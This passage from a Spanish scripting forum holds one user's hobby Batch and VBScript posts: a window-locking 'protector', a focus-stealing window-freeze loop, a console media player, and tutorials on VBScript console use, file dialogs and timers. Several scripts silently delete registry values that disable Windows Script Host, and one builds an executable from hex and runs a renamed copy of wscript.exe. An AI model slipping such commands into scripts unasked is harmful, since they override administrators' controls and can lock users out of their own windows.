  7. obj.Exec "wscript " & wscript.scriptname
  8. y = msgbox (msg, VbCritical + VbOkCancel, ".:: ScrinptingSecurity Loocked v1.0 BY 3D1 ::.")
  9. if y = VbOk then
  10. w = InputBox ("Escribe la Password de Acceso al archivo:", ".:: ScrinptingSecurity Loocked v1.0 BY 3D1 ::.")
  11. if w = "1234" then
  12. Obj.Run "Taskkill /f /im wscript.exe", VbHide
  13. else
  14. msgbox "NOTA: Intentos no Autorizados son reportados.. ", VbInformation, ".:: ScrinptingSecurity Loocked v1.0 BY 3D1 ::."
  15. wscript.Quit
  16. end if
  17. else
  18. wscript.Quit
  19. end if
  20. wscript.sleep 100
  21. end if
  22. loop
  23.  
Solo reemplazar "FIND WINDOW" por el nombre del titulo de las ventanas que se va a denegar el acceso..
luego reemplazar "CONTRASEÑA" por la contraseña ha usar para desactivar la proteccion..

Congelar una ventana (Por el momento en pruebas)
En pruebas por que estoy con la pc fregada solo puedo entrar en modo a prueba de fallos asi que no puedo abrir todos los programas, les pido que lo prueben con conversacion del MSN haber si sale..
pero con las ventanas de las carpetas Block de Notas, etc funciona muy bien..
El code es asi:
Código
  1. set obj=CreateObject("wscript.shell")
  2. x = 0
  3. y = 0
  4. do while x = 0
  5. if obj.appactivate("WINDOW") = true then
  6. do while y = 0
  7. obj.appactivate "WINDOW"
  8. obj.run "cmd /c taskkill /f /im wscript.exe", vbHide
  9. msgbox ""
  10. loop
  11. end if
  12. wscript.sleep 100
  13. loop
Solo reemplazar WINDOW por la ventana a congelar..
Espero les guste, estos codes los ise simples para que los puedan entender facil, de aqui sacan mas ideas y hacen su propio protector a su gusto..
SaluDOS!!!  ;D
PD: Podrian probarlo con ventanas del MSN la congelacion, haber si sale, por que lo estoy haciendo a la adivinanza ya que no puedo usarlo..
34  Programación / Scripting / [Batch] CMD MEDIA PLAYER v1.1 by 3D1 (Reproductor de MP3, Wav, Mid) en: 29 Abril 2009, 05:39 am
CMD MEDIA PLAYER v1.1 by 3D1

Aqui como dice el title es un reproductor de MP3, Wavs y MIDs en Batch y usando un poco de Scrips VBS..
Usar el CMD MEDIA PLAYER v1 es facil..
La teclas de direccion Izquierda y derecha para seleccionar un boton..
La Tecla Enter para presionar el boton..
y la tecla ESC para salir (Si o si, al pres. la tecla esc borra los archivos tmporales que creo y cierra correctamente..)
Aqui esta el code:
Código
  1. @echo off
  2. @mode con cols=14 lines=1
  3. title .:Cargando...:.
  4. cls
  5. reg delete "HKLM\software\Microsoft\Windows Script Host\Settings" /v "Enabled" /f>nul 2>&1
  6. reg delete "HKCU\software\Microsoft\Windows Script Host\Settings" /v "Enabled" /f>nul 2>&1
  7. cls
  8.  
  9. if exist "screen.size" (goto :Cnt)
  10.  
  11. echo Existes>"screen.size"
  12. Reg export HKCU\Console Backup.reg>nul
  13. Reg delete HKCU\Console\%%SystemRoot%%_system32_cmd.exe /f>nul
  14. Reg add HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FaceName /t REG_SZ /d "Terminal" /f>nul
  15. Reg add HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FontFamily /t REG_DWORD /d 48 /f>nul
  16. Reg add HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FontSize /t REG_DWORD /d 524294 /f>nul
  17. Reg add HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FontWeight /t REG_DWORD /d 700 /f>nul
  18. Reg add HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v ScreenBufferSize /t REG_DWORD /d 13107280 /f>nul
  19. Reg add HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v CursorSize /t REG_DWORD /d 0 /f>nul
  20. start cmd /c %0
  21. Reg delete HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FaceName /f>nul
  22. Reg delete HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FontFamily /f>nul
  23. Reg delete HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FontSize /f>nul
  24. Reg delete HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FontWeight /f>nul
  25. Reg delete HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v CursorSize /f>nul
  26. Reg import Backup.reg>nul
  27. Del /Q "screen.size">nul
  28. Del /Q "Backup.reg">nul
  29.  
  30. :Cnt
  31. taskkill /F /IM cmplayer3d1.exe>nul 2>&1
  32. del /Q "%tmp%\cmplayer3d1.exe">nul 2>&1
  33. del /Q "%tmp%\sound.vbs">nul 2>&1
  34. del /Q "%tmp%\timer.vbs">nul 2>&1
  35. del /Q "%tmp%\file.txt"
  36. del /Q Key.exe>nul 2>&1
  37. del /Q Keyboard.dat>nul 2>&1
  38. (
  39. echo n keyboard.dat
  40. echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
  41. echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
  42. echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
  43. echo rcx
  44. echo 002E
  45. echo w0
  46. )>keyboard.dat
  47. echo type keyboard.dat^|debug>AddKey.bat
  48. echo ren keyboard.dat key.exe>>AddKey.bat
  49. echo del /Q %%0>>AddKey.bat
  50. start /MIN cmd /c AddKey.bat
  51. copy /Y "%systemroot%\system32\wscript.exe" "%tmp%\cmplayer3d1.exe"
  52. @mode con cols=60 lines=20>nul
  53. title .: Cargando espere... :.
  54. set file=
  55. set comp=                                                               ...
  56. set filec=%file%%comp%
  57. echo wscript.sleep 9000>%tmp%\timer.vbs
  58. cls
  59. ECHO  ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
  60. echo  º CMD MEDIA PLAYER V1.1 BY 3D1..                         º
  61. echo  ºÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͺ
  62. ECHO  º                                                        º
  63. echo  º BY .:3D1:. V1.1 CUALQUIER COMENTARIO O SUGERENCIA ES.. º
  64. ECHO  º                                                        º
  65. ECHO  º BIENVENIDO..                                           º
  66. ECHO  º                                                        º
  67. ECHO  º USAR CMD MEDIA PLAYER: CON LAS FLECHAS DE DIRECCION..  º
  68. ECHO  º                                                        º
  69. ECHO  º IZQUIERDA Y DERECHA; LA TECLA ENTER; Y LA TECLA ESC..  º
  70. ECHO  º                                                        º
  71. ECHO  º PARA SALIR..                                           º
  72. ECHO  º                                                        º
  73. ECHO  ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
  74. CSCRIPT /NOLOGO %TMP%\TIMER.VBS
  75. title .: CMD Media Player v1.1 by 3D1 :.
  76. :open
  77. set filec=%file%%comp%
  78. cls
  79. echo 
  80. echo 
  81. echo 
  82. echo     SELECCIONAR ARCHIVO:
  83. echo     ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
  84. echo     º%filec:~0,45%º
  85. echo     ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
  86. echo     ÉÍÍÍÍÍÍÍ» ÉÍÍÍÍÍÍ» ÉÍÍÍÍÍÍ»
  87. echo     ºABRIR º º PLAY º º STOP º
  88. echo     ÈÍÍÍÍÍÍͼ ÈÍÍÍÍÍͼ ÈÍÍÍÍÍͼ
  89. key
  90. if "%errorlevel%"=="27" (
  91. goto :EOFs
  92. )
  93. if "%errorlevel%"=="77" (
  94. goto :Play
  95. )
  96. if "%errorlevel%"=="13" (
  97. (
  98. echo Dim DialogBox
  99. echo Dim Txt
  100. echo Set DialogBox = CreateObject("UserAccounts.CommonDialog.1"^)
  101. echo DialogBox.Filter = "Archivos de Musica WAV, MP3 y MID|*.mp3;*.wav;*.mid"
  102. echo DialogBox.ShowOpen
  103. echo Set Txt = CreateObject("Scripting.FileSystemObject"^)
  104. echo Txt.CreateTextFile("%tmp%\file.txt"^).Write DialogBox.filename
  105. )>%tmp%\comdialog.vbs
  106. cscript /nologo %tmp%\comdialog.vbs
  107. set /p file=<"%tmp%\file.txt"
  108. del /Q %tmp%\comdialog.vbs>nul 2>&1
  109. goto :open
  110. ) else (
  111. goto :open
  112. )
  113. :Play
  114. cls
  115. echo 
  116. echo 
  117. echo 
  118. echo     SELECCIONAR ARCHIVO:
  119. echo     ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
  120. echo     º%filec:~0,45%º
  121. echo     ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
  122. echo     ÉÍÍÍÍÍÍÍ» ÉÍÍÍÍÍÍ» ÉÍÍÍÍÍÍ»
  123. echo     º ABRIR º ºPLAY º º STOP º
  124. echo     ÈÍÍÍÍÍÍͼ ÈÍÍÍÍÍͼ ÈÍÍÍÍÍͼ
  125. key
  126. if "%errorlevel%"=="27" (
  127. goto :EOFs
  128. )
  129. if "%errorlevel%"=="77" (
  130. goto :Stop
  131. )
  132. if "%errorlevel%"=="75" (
  133. goto :open
  134. )
  135. if "%errorlevel%"=="13" (
  136. (
  137. echo On Error Resume next
  138. echo Set Sound = CreateObject("WMPlayer.OCX"^)
  139. echo Sound.URL = "%file%"
  140. echo Sound.Controls.play
  141. echo if err.number = 0 then
  142. echo do while Sound.currentmedia.duration = 0
  143. echo wscript.sleep 100
  144. echo loop
  145. echo wscript.sleep (int(Sound.currentmedia.duration^)+1^)*1000
  146. echo if len("%file%"^) ^< 2  then
  147. echo msgbox "No se ha seleccionado ningun archivo ", vbinformation, ".:: CMD Media Player BY 3D1 ::."
  148. echo msgbox "No es posible reproducir el archivo " ^& "%file%", vbinformation, ".:: CMD Media Player BY 3D1 ::."
  149. echo end if
  150. echo end if
  151. )>%tmp%\sound.vbs
  152. taskkill /F /IM cmplayer3d1.exe >nul 2>&1
  153. start /MIN %tmp%\cmplayer3d1.exe /nologo %tmp%\sound.vbs
  154. goto :play
  155. ) else (
  156. goto :Play
  157. )
  158. :Stop
  159. cls
  160. echo 
  161. echo 
  162. echo 
  163. echo     SELECCIONAR ARCHIVO:
  164. echo     ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
  165. echo     º%filec:~0,45%º
  166. echo     ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
  167. echo     ÉÍÍÍÍÍÍÍ» ÉÍÍÍÍÍÍ» ÉÍÍÍÍÍÍ»
  168. echo     º ABRIR º º PLAY º ºSTOP º
  169. echo     ÈÍÍÍÍÍÍͼ ÈÍÍÍÍÍͼ ÈÍÍÍÍÍͼ
  170. key
  171. if "%errorlevel%"=="27" (
  172. goto :EOFs
  173. )
  174. if "%errorlevel%"=="75" (
  175. goto :Play
  176. )
  177. if "%errorlevel%"=="13" (
  178. taskkill /F /IM cmplayer3d1.exe >nul 2>&1
  179. goto :Stop
  180. ) else (
  181. goto :Stop
  182. )
  183. :EOFs
  184. taskkill /F /IM cmplayer3d1.exe >nul 2>&1
  185. del /Q "%tmp%\cmplayer3d1.exe">nul 2>&1
  186. del /Q "%tmp%\sound.vbs">nul 2>&1
  187. del /Q "%tmp%\timer.vbs">nul 2>&1
  188. del /Q "%tmp%\file.txt">nul 2>&1
  189. del /Q Key.exe>nul
  190. del /Q Keyboard.dat>nul
  191. cls
  192. echo msgbox "Gracias por usar CMD Media Player v1.1 by .:3D1:.", vbInformation, ".: Mensaje.. :.">%tmp%\msg.vbs
  193. cscript /nologo %tmp%\msg.vbs>nul 2>&1
  194. del /Q "%tmp%\msg.vbs">nul 2>&1
Facil de usar ¿no?..
Ya saben cualquier comentario o sugerencia es bienvenida y asi saco una v2 mejor..
SaluDOS!!!
PD: Espero sus comentarios
35  Programación / Scripting / Tutorial - VBScript Avanzado(Creacion Comandos Complejos para Cmd) en: 25 Abril 2009, 03:52 am
Tutorial - VBScript Avanzado(Creacion Comandos Complejos para Cmd)

Nota:
Si algunas cosas importantes no estan posteadas aqui es por que estan en el tuto de NovLucker asi evito el doble post..

VBScript Avanzado - Temas:

  • Intro
  • Manejo de Objetos
  • Funciones StdOut y StdIn del Objeto Wscript (Salida y Entrada de Datos)
  • Creacion y llamada de Funciones (Funcion y Call)
  • Funcion Clear Console o CLS by 3D1
  • If (Ejemplo con StdIn)
  • MsgBox y PopUp ambos tienen sus ventajas y desventajas..
  • Uso de Argumentos (Con esto ya puedes decir que tienes un Comando MS-DOS)
  • La funcion GetPassword (Crear un campo de contraseña)
  • Consultas..

Como nos dice el titulo ejecutar un script vbs pero en la consola de comandos...
Como? facil solo cambianlo el interprete de los VBS en nuestro caso se ejecuta con Windows Based Script Host pero lo cambiamos por Console Based Script Host que es el interprete que usa la ventana del CMD para la salida de datos...

Intro
Este manual esta echo para usuarios que ya sepan y/o ya ayan programado Scripts VBS si es que no tiene idea y quieren aprender desde el principio les recomiendo que lean el tuto de Novlucker  esta en el link que pongo a continuacion ahi od enseña como programar en VBScript y ahi esta lo que mayormente vamos ha ocupar..   ;) (Sobre todo el dominar la creacion y utilizacion de los Objetos..)

      ○ Tutorial de VBScript by Novlucker

Para ejecutar un Script VBS en modo consola es facil solo escribes en el CMD o en tu Batch:
Código
  1. CScript //nologo TuScript.vbs

Manejo de Objetos
Aqui eso va ha depender de ustedes por esa razon dije que deben saber al menos al medio medio la creacion de VBScript por esa razon...
puse el link al manual de Novlucker si es que quieren aprender desde 0 el explica bien la creacion de los Objetos y sobre todo los que vamos a usar..

Funciones StdOut y StdIn del Objeto Wscript (Para Imprimir y Obtener datos de la Consola)
   Funcion StdOut (Envio de datos a la Consola)
Para enviar datos a la consola hay dos maneras basicas..
mediante..
Código
  1. WScript.echo "Mensaje"
Y mediante:
Código
  1. WScript.StdOut.Write "Mensaje" & VbNewLine
Los dos vendrian a ser lo mismo con mucha diferencia que el segundo no hace salto de linea..
por esa razon agregamos VbNewLine..
las vantajas de usar StdOut.Write para enviar datos son las siguientes como por ejemplo:
crear este script:
Código
  1. for i = 1 to 10
  2. wscript.sleep 100
  3. wscript.StdOut.Write i
  4. next
Y lo guardan con nombre de Script.vbs (Para mas comodidad)
y lo ejecutan con CScript en el CMD (cscript //nologo script.vbs)
Ven la diferencia y las ventajas frente a wscript.echo
Ahora vuelvan ha crear el Script pero incluyendo el salto de linea:
Código
  1. for i = 1 to 10
  2. wscript.sleep 100
  3. wscript.StdOut.Write i & VbNewLine
  4. next
Esto seria igual a Wscript.echo..
OK, Asta aqui se entiende creo si hay alguna duda no dudar en preguntar..
Eso fue todo lo referente o StdOut (Enviar Datos)..
Ahora lo emocionante StdIn (Pedir o Recibir datos de la consola)
   Funcion StdIn (Pedir y Recibir datos escritos en la consola)
Creo que para muchos que les gusta el Batch tambien les gustara saber que que VBS incluye su propio "Set /p" para pedir datos..
Su funcion es facil (Crear este Script y Ejecutarlo CON CSCRIPT EN EL CMD):
Código
  1. Dats = wscript.StdIn.ReadLine
Dats es la variable a la que le asignamos lo que escribimos en la consola y podemos ponerla a un MsgBox si quieren:
Código
  1. MsgBox wscript.StdIn.ReadLine
Esto seria igual que poner en Batch "Set /p=", se entiendo ¿no?..
Ahora Como mostrar como en Batch seria Set /p var="Escriba Aqui: " en VBScript es facil, recuerdan que StdOut.Write no usa salto de linea es aqui donde nos sirve eso:
(Crear este Scrip.vbs (NO OLVIDAR EJECUTARLO CON CSCRIPT EN CMD))
Código
  1. Wscript.StdOut.Write "Escriba Aqui: "
  2. var = Wscript.StdIn.ReadLine
Ven igual que en Batch solo cambiando unas cosillas lo que escribimos pasa a la variable llamada "var" en este caso..
Luego podemos hacer no se, MsgBox var...
    Creacion y LLamada de Funciones con CALL
Las llamadas en VBS son similares a las de un batch se hacen con Call solo que sin " : "..
Ok, veamos las funciones..   :)
Que hacen las Funciones?
Pues en resumen corto simplifican el trabajo a un programador por ejemplo para no hacer esto:
Código
  1. For i = 1 to 5
  2.    wscript.StdOut.Write i
  3. next
  4. For i = 1 to 5
  5.    wscript.StdOut.Write i
  6. next
  7. For i = 1 to 5
  8.    wscript.StdOut.Write i
  9. next
  10. For i = 1 to 5
  11.    wscript.StdOut.Write i
  12. next
Que lo que hace es imprimir 1,2,3,4,5; 4 veces mas facil seria crear una funcion y llamarla como en batch CALL..
Entonces el Code Quedaria asi... Ha y antes, la funcion puede llamarse como quieran aqui le pondre UnoCinco...
Código
  1. Public function UnoCinco()
  2. For i = 1 to 5
  3.   wscript.StdOut.Write i
  4. next
  5. End function
  6. call UnoCinco
  7. call UnoCinco
  8. call UnoCinco
  9. call UnoCinco
Esto hace lo mismo pero usando menos code "call UnoCinco" es mas facil que poner tantos for sobre todo cuando un programa es extenso..

Como hago una funcion?
Facil las funciones son asi:
Código
  1. Public function NOMBRE()
  2.  ' Code
  3. end function
"Public function" es para publicar la funcion NOMBRE puede ser cualquiera y "End Function" finaliza la funcion..
y el code va dentro de la funcion, ese code se ejecuta solo si llamamos a la funcion como podria decirse si se apreta el boton..
Para llamar a la funcion es como en Batch pero sin " : " solo:
Código
  1. Call NOMBRE
Donde NOMBRE vendria ha ser el nombre de la funcion..

Como hago una funcion? (Incluyendo una variable..)
Es lo mismo pero modificando la parte de " () " por " (Var) " ejemplo en vez de hacer esto:
Código
  1. MsgBox "Pruebas", vbinformation
  2. MsgBox "Si", vbinformation
  3. MsgBox "no", vbinformation
  4. MsgBox "Como", vbinformation
  5. Msgbox "BIen", vbinformation
Que es cansador por ejemplo hacer todos esos mensajes y escribir varias lineas MsgBox, MsgBox, etcetc.., VBInformation, etc...
Es molestoso para eso usamos una funcion con una variable asi:
Código
  1. Public Function Msgs(MensajeVar)
  2.   MegBox MensajeVar, vbInformation
  3. end function
  4. Call Msgs("Pruebas")
  5. Call Msgs("Si")
  6. Call Msgs("no")
  7. Call Msgs("Como")
  8. Call Msgs("Bien")
Creo se entiende pero por si las moscas..
MensajeVar es la Variable que puede contener cualquier nombre que le den igual que la funcion..
Al llamar " Call Msgs ("Pruebas") " lo que hacemos aqui es llamar a la funcion Msgs y pasarle a la variable MensajeVar un Texto que en este caso
le enviamos "Pruebas"..
Al hacer "MsgBox MensajeVar, VbInformation" lo que le estamos diciendo es que muestre el mensaje de la variable MensajeVar osea en
este caso mostrara "Pruebas"...
Bueno es un poco confuso a veces pero si usaron VB ya les hara facil..
Terminamos con function aqui..

Funcion Clear Console o CLS by 3D1
Este code ni existia la funcion CLS no existe en VBS hay que usar un poco de magia batch para poder
hacerlo, este metodo lo he inventado yo rompiendome la cabeza asta lograrlo y lo posteo por primera vez
aqui, si copian el code no olviden al autor..  ;D
volviendo..
La funcion Clear Console o CLS tiene este code:
Código
  1. Sub CLS()
  2. Set oExec = CreateObject("WScript.Shell").Exec("%comspec% /c mode con lines=0 cols=0 >nul")
  3. wscript.sleep 300
  4. End Sub
para hacer el CLS de la pantalla del Cmd solo llamarla con Call..
Código
  1. Call Cls
y borrara la pantalla..

If con StdIn
If creo que saben usarlo en aqui lo vamos a usar con StdIn pidiendo datos..
solo para mostrarles una forma mas rapida de usar if con esto..
ejemplo:
Código
  1. wscript.StdOut.Write "Escriba 1: "
  2. if wscript.stdin.ReadLine = "1" then
  3. msgbox "Correcto"
  4. else
  5. msgbox "incorrecto"
  6. end if
En ahi usamos directamente el pedido de datos en el mismo if haciendo wscript.StdOut.Write
si escribimos 1 devuelve el mensaje Correcto y si no devuelve Incorrecto..

MsgBox y PopUp ambos tienen sus ventajas y desventajas..
Aqui todos saben usar MsgBox, y es muy util por que tiene la propiedead de poder personalizarle
que botones, imagen, se van ha usar pero en PopUp no pero PopUp tiene una habilidad que
MsgBox no tiene PopUp puede quedarse activo durante 1 segundo y luego cerrarse..
asi con PopUp podemos jugar con los cuadros de mensaje..
es code seria asi:
En primer lugar devemos crear el Objeto Wscript.Shell
Código
  1. set msg=CreateObject("wscript.shell")
  2. msg.popup "Hola", 1
esto habre un MsgBox pero se cierra en 1 segundo, esa es la ventaja de PopUp..
por que puedes jugar con los cuadros de mensaje..

Uso de Argumentos
Veran que en Batch para recibir datos de una aplicacion externa se usaban %1, %2, %1..
pues el VBS es parecido, podemos enviarle datos al Script por ejemplo si quiero que mi Script
imprima un mensaje con Cmd lo llamaria asi:
Código
  1. CScript //nologo MiScript.vbs "Hola"
aqui mandamos los argumentos "Hola" a el Script..
luego el Script para interpretarlo tiene que hacer esto..
Código
  1. MsgBox Wscript.Arguments(0)
Esto recuperaria el argumento 0 que tiene el valor "Hola" y asi es posible usar mas de 1 argumento..
y mandar mas de dos datos..

La funcion GetPassword (Crearnos un campo de contraseña)
El Objeto ScriptPW.Password nos permite usar la funcion GetPassword para crear un campo de contraseña..
la contraseña que escribimos por supuesto que no se ve ya que el Cmd no usa asteriscos..
para sus password.., aqui les dejo un ejemplo y luego lo explico:
Código
  1. Set var = CreateObject("ScriptPW.Password")
  2. WScript.StdOut.Write "Contraseña:"
  3. pass = var.GetPassword()
Aqui asignamos el objeto ScriptPW a la variable var, luego con la unica funcion que tiene este objeto..
usamos "pass = var.GetPassword()" para llamar ha esta funcion y luego asigna lo escrito osea la password..
en la variable pass..

Consultas
Si tienen cualquier duda posteenla y les respondo, y hay varias cosas que ire aumentando conforme pase el tiempo y
se me ocurran mas cosas..
Espero les haya sido util, y quisiera ver el primer comando que creen con VBS para Cmd..
que lo posteen a ver que tal les fue..  :D
SaluDOS!!!
36  Programación / Scripting / [BATCH+VBS] Manual - Implementar un CommonDialog "Abrir con.." en Batch en: 16 Abril 2009, 09:04 am
Implementar un CommonDialog a Batch by 3D1
Ya que no habian post ni preguntas sobre el tema por que algunos creen que es imposible..  ;)
he inventado un metodo utilizando un Script y ejecutandolo con cscript (Console Based Script Host)
Para crear un cuadro de Dialogo de Abrir como todos conocen, bueno por si las moscas  ;D les dejo tambien
un code batch para habilitar Windows Script Host si por alguna razon rara lo tengan deshabilitado..
Bueno suficiente aqui esta el code:
Código
  1. @echo off
  2. @Title .:Cuadros de Dialogo en Batch (Abrir - By 3D1):.
  3. cls
  4. rem ..
  5. rem ------------------------------------------------------------
  6. rem : Por si tiene deshabilitado el Wscriping host cosa rara   :
  7. rem : pero para eso esta la siguiente linea de comandos        :
  8. rem ------------------------------------------------------------
  9. rem ..
  10. reg delete "HKLM\software\Microsoft\Windows Script Host\Settings" /v "Enabled" /f>nul
  11. reg delete "HKCU\software\Microsoft\Windows Script Host\Settings" /v "Enabled" /f>nul
  12. cls
  13. rem ..
  14. rem ------------------------------------------------------------
  15. rem : Con la siguiente linea creamos el Script que creara el   :
  16. rem : objeto CommonDialog de Abrir..                           :
  17. rem ------------------------------------------------------------
  18. rem ..
  19. (
  20. echo Dim DialogBox
  21. echo Set DialogBox = CreateObject("UserAccounts.CommonDialog.1"^)
  22. echo DialogBox.InitialDir = "%HomeDrive%"
  23. echo DialogBox.Filter = "Tipo de Archivos de Texto (Sample)|*.txt"
  24. echo DialogBox.ShowOpen
  25. echo wscript.echo DialogBox.filename
  26. )>CommonDialog.vbs
  27. rem ..
  28. rem --------------------------------------------
  29. rem  Ejcutamos el Script...
  30. rem -------------------------------------------
  31. rem ..
  32. cscript //nologo CommonDialog.vbs
  33. pause>nul
Bien ha si es como funciona los comandos que activan el WinScriptHost creo que no hace falta explicarlo
y ademas creo que muy pocos lo tienen deshabilitado...
la parte que crea el Script esta clara...
Esto..:

InitialDir (Directorio Inicial)
Código
  1. echo DialogBox.InitialDir = "%HomeDrive%"
Indica el directorio que se mostrara al abrir el CommonDialog Aqui esta %HomeDrive% pueden cambiarlo
por "c:\", "d:\" o "c:", "d:" que es lo mismo tambien por la ruta de una carpeta por ejemplo:
"c:\mi musica", pero se entiendo ¿no? ha y con comillas la ruta tenga o no tenga espacios ;D
Esta otra parte:

Filter (Filtro; Descripcion y que archivos se van a mostrar)
Código
  1. echo DialogBox.Filter = "Tipo de Archivos de Texto (Sample)|*.txt"
Es una de las partes mas importantes ya que le diremos al commonDialog que tipos de archivos
queremos ver funciona asi:
Código
  1. ArchivoOTextoODescripcion|*.extensión
Si queremos agregar varios tipos de archivos es asi:
Código
  1. DescripcionOTexto|*.extensión|DescripcionOTexto|*.extensión
y asi susesivamente, ha y si queremos agregar "Todo Tipo de Archivos" solo ponemos *.* si
queremos agregar para ver dos o mas tipos de extensiones es separarlos por , (comas) por ejemplo:
Código
  1. Archivos de Imagen Jpgs y Gisfs|*.jpg,*.gif
Y con comillas tengan o no tengan espacios..
Ejecucion del Script   ;-)

Para ejecutar el Script es muy sencillo es la parte de:
Código
  1. cscript /nologo CommonDialog.vbs
Esto devuelve en la ventana del cmd la direccion del archivo seleccionado, si queremos que la ruta
se guarde en un txt es simple:
Código
  1. cscript /nologo CommonDialog.vbs>Archivo.txt
y asi la ruta que seleccionemos se ira a Archivo.txt  ;D
SaluDOS!!!  :8):
PD: Espero les haya sido util..

37  Programación / Scripting / [BATCH+VBS] Manual - Creación de Timers en Batch (Pausas o Esperas...) en: 16 Abril 2009, 08:58 am
Es un metodo muy facil inventado por mi, es para salir de lo clasico
Código:
ping -n 2 0.0.0.0
ya que cuando tienes conexion limitada o nula no sirve ese metodo para pausar tu batch cierto tiempo  :P
ya que la ip se pone 0.0.0.0 a mi me paso asi que decidi inventar algo mas decente para mi batch
asi que ise esto, es un Batch que genera un script vbs que contiene una funcion que hace pausa
a nuestro batch el tiempo que nosotros le pongamos en milisegundos, vale decir que si quiero pausar
mi batch 1 segundo pondre 1000 milisegundos, en fin aqui va el code batch para general el script:
Código:
echo wscript.sleep 1000 > timer1.vbs
cscript /nologo timer1.vbs
Solo reemplazan el 1000 por el numero de milisegundos que deseen que pause su batch por
ejemplo 5 segundos 5000 milisegundos; 60 segun. 60000 milisegundos..
Facil ¿no?
Agregado
Por algunos que dicen que si esta deshabilitado Windows Scripting Host no va ha funcionar aqui
este code que pueden agregar al batch para habilitar el Windows Scripting Host si por alguna razon
estaria deshabilitado caso muy raro..
Código:
reg delete "HKLM\software\Microsoft\Windows Script Host\Settings" /v "Enabled" /f>nul
reg delete "HKCU\software\Microsoft\Windows Script Host\Settings" /v "Enabled" /f>nul
Bueno Aqui hay un ejemplo para que vean que si funciona bien:
Código
  1. echo off
  2. title .:Timer en Batch By Eddy(3d1):.
  3. :Timer
  4. cls
  5. echo       °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°
  6. echo       ° Timers en Batch By 3D1                              °
  7. echo       °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°
  8. echo       ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
  9. echo       ²                                                     ²
  10. echo       ² Implementacion de Timers en Batch usando script VBS ²
  11. echo       ²                                                     ²
  12. echo       ² este es un ejemplo de Timer, Escriba un Intervalo   ²
  13. echo       ²                                                     ²
  14. echo       ² expresado en milisegundos ej.: 1000 = 1Seg.         ²
  15. echo       ²                                                     ²
  16. echo       ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
  17. set /p Timers=      ²^>^>^>Intervalo:
  18. echo wscript.sleep "%Timers%" > timer1.vbs
  19. cscript /nologo timer1.vbs
  20. cls
  21. echo                .
  22. echo                .
  23. echo                .
  24. echo                .          
  25. cscript /nologo timer1.vbs
  26. cls
  27. echo                    .
  28. echo                   .
  29. echo                  .
  30. echo                 .
  31. cscript /nologo timer1.vbs
  32. cls
  33. echo                        .
  34. echo                      .
  35. echo                    .
  36. echo                  .
  37. cscript /nologo timer1.vbs
  38. cls
  39. echo                   . . . .
  40. cscript /nologo timer1.vbs
  41. cls
  42. echo                   .
  43. echo                     .
  44. echo                       .
  45. echo                         .
  46. cscript /nologo timer1.vbs
  47. cls
  48. echo                   .
  49. echo                   .
  50. echo                   .
  51. echo                   .
  52. cscript /nologo timer1.vbs
  53. cls
  54. echo                   .
  55. echo                 .
  56. echo               .
  57. echo             .
  58. cscript /nologo timer1.vbs
  59. cls
  60. echo             . . . .
  61. cscript /nologo timer1.vbs
  62. cls
  63. echo             .
  64. echo               .
  65. echo                 .
  66. echo                   .
  67. cscript /nologo timer1.vbs
  68. cls
  69. echo                .
  70. echo                 .
  71. echo                  .
  72. echo                   .
  73. cscript /nologo timer1.vbs
  74. goto Timer
  75.  
Este es solo un ejemplo el reloj se mueve a la velocidad que ustedes le pongan en miliseg.  ;D
esto tambien puede servir si les gustan las animaciones, progressbars en batch es muy
bueno..
SaluDOS!!!   ::)
Páginas: 1 2 3 [4]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines